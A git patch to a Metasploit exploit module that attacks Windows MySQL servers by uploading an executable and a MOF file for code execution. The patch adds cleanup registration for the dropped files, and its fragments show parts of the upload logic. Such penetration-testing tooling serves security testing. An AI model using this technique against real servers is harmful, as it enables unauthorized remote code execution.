From 6d3d4c1d84d345987b2a776c283d9a34fda11baa Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Thu, 6 Dec 2012 12:03:17 +0100 Subject: [PATCH] Added support for FileDropper --- modules/exploits/windows/mysql/mysql_mof.rb | 3 +++ 1 file changed, 3 insertions(+) diff --git a/modules/exploits/windows/mysql/mysql_mof.rb b/modules/exploits/windows/mysql/mysql_mof.rb index f76cf97967..820797cc4a 100644 --- a/modules/exploits/windows/mysql/mysql_mof.rb +++ b/modules/exploits/windows/mysql/mysql_mof.rb @@ -13,6 +13,7 @@ class Metasploit3 < Msf::Exploit::Remote include Msf::Exploit::Remote::MYSQL include Msf::Exploit::WbemExec include Msf::Exploit::EXE + include Msf::Exploit::FileDropper def initialize(info = {}) super(update_info(info, @@ -122,6 +123,7 @@ class Metasploit3 < Msf::Exploit::Remote print_status("#{peer} - Uploading to '#{dest}'") begin upload_file(exe, dest) + register_file_for_cleanup("#{exe_name}") rescue RbMysql::AccessDeniedError print_error("#{peer} - No permission to write. I blame kc :-)") return @@ -133,6 +135,7 @@ class Metasploit3 < Msf::Exploit::Remote print_status("#{peer} - Uploading to '#{dest}'") begin upload_file(mof, dest) + register_file_for_cleanup("wbem\\mof\\good\\#{mof_name}") rescue RbMysql::AccessDeniedError print_error("#{peer} - No permission to write. Bail!") return